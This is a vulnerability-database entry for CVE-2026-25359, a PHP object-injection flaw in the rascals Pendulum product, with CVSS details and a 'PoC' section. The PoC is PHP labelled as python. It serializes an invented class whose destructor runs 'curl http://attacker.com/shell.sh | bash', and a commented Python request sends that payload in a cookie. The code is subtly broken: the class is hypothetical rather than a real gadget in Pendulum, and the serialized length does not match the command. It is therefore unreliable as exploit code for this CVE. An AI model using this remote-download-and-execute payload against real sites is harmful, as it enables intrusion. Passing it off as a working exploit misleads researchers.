Deserialization of Untrusted Data vulnerability in rascals Pendulum pendulum allows Object Injection.This issue affects Pendulum: from n/a through < 3.1.5.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Pendulum < 3.1.5
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php
// PHP Object Injection PoC Generator for CVE-2026-25359
// Usage: php poc.php > payload.txt
class VulnerableClass {
public $data;
function __destruct() {
// Hypothetical dangerous action: System command execution
system($this->data);
}
}
// Create the object and set the malicious command
$payload = new VulnerableClass();
$payload->data = 'curl http://attacker.com/shell.sh | bash';
// Serialize the object
$serialized = serialize($payload);
// Output the payload to be sent in the vulnerable parameter (e.g., cookie, POST body)
echo $serialized;
?>
/*
Python request example:
import requests
url = "http://target-vulnerable-site.com"
cookies = {
"vulnerable_cookie": "O:14:\"VulnerableClass\":1:{s:4:\"data\";s:45:\"curl http://attacker.com/shell.sh | bash\";}"
}
response = requests.get(url, cookies=cookies)
print(response.status_code)
*/